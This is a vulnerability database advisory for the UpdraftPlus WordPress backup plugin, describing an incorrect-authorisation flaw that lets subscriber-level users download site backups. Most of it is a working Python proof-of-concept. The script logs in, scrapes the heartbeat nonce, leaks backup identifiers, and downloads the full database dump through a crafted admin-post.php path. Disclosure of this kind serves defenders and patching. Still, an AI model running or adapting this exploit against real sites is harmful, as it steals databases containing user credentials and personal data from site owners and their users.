WordPress Plugin Vulnerabilities
UpdraftPlus Free < 1.22.3 & Premium < 2.22.3 - Subscriber+ Backup Download
Description
The plugins do not properly validate a user has the required privileges to access a backup's nonce identifier, which may allow any users with an account on the site (such as subscriber) to download the most recent site & database backup.
Proof of Concept
from io import StringIO import requests import gzip import json import sys import re if len(sys.argv) != 4: print('USAGE: python %s <target_url> <user_login> <user_pass>' % (sys.argv[0],)) sys.exit() url = sys.argv[1].rstrip('/') with requests.Session() as s: ''' This exploit requires an account on the site (subcriber+) ''' print('Logging in...') # Log into WordPress using our Subscriber account res = s.post( url + '/wp-login.php', headers={ 'Cookie': 'wordpress_test_cookie=WP Cookie check' }, data={'log':sys.argv[2], 'pwd':sys.argv[3], 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie':1}) ''' Exploit logic: - The info leak occurs via the `heartbeat_received` filter. So we need to get the `heartbeat` nonce to get there. - With the info we leaked (backup "nonce" identifiers & timestamp), download the latest database backup. ''' print('Getting heartbeat nonce..') nonce = s.get(url + '/wp-admin/').text nonce = re.search(r'heartbeatSettings = \{"nonce":"([0-9a-f]+)"\};', nonce).group(1) if not nonce: print("Couldn't find the heartbeat nonce :-(") sys.exit() # Get the UpdraftPlus "nonce" backup identifier, and timestamp print('Get last UpdraftPlus backup nonce/timestamp..') payload = { 'action': 'heartbeat', '_nonce': nonce, 'data[updraftplus][log_fetch]': ':-)', 'data[updraftplus][log_nonce]': '0', } heartbeat_response = json.loads(s.post(url+'/wp-admin/admin-ajax.php', data=payload).text) if 'updraftplus' not in heartbeat_response or 'The backup apparently succeeded' not in heartbeat_response['updraftplus']['l']: print("Latest log doesn't show a successful backup :-(") sys.exit() data = heartbeat_response['updraftplus'] backup_info = re.search(r'Backup run: resumption=\d+, nonce=([a-f0-9]+), file_nonce=([a-f0-9]+) begun at=(\d+)', data['u']['log']).groups() if not backup_info or len(backup_info) != 3: print("Backup logs aren't what we expected.. :-(") sys.exit() nonce, file_nonce, timestamp = backup_info print(f'Found backup informations: file_nonce={file_nonce}, timestamp={timestamp}') # Download the database backup print('Attempt to download file backup..') payload = { 'page': 'updraftplus', 'action': 'updraft_download_backup', 'findex': 'test', 'timestamp': timestamp, 'nonce': file_nonce, 'type': 'db' } gzipped_db = s.post(url+'/wp-admin/admin-post.php/%0a/wp-admin/options-general.php', data=payload).content if len(gzipped_db) < 100: print("Not sure there was a db to download in the first place, but it failed downloading it!") sys.exit() print('Writing db dump to db.sql..') f = open('db.sql', 'wb').write(gzip.decompress(gzipped_db))
Affects Plugins
References
Classification
Type
INCORRECT AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Marc Montpas
Submitter
Marc Montpas
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-02-17 (about 2 years ago)
Added
2022-02-17 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)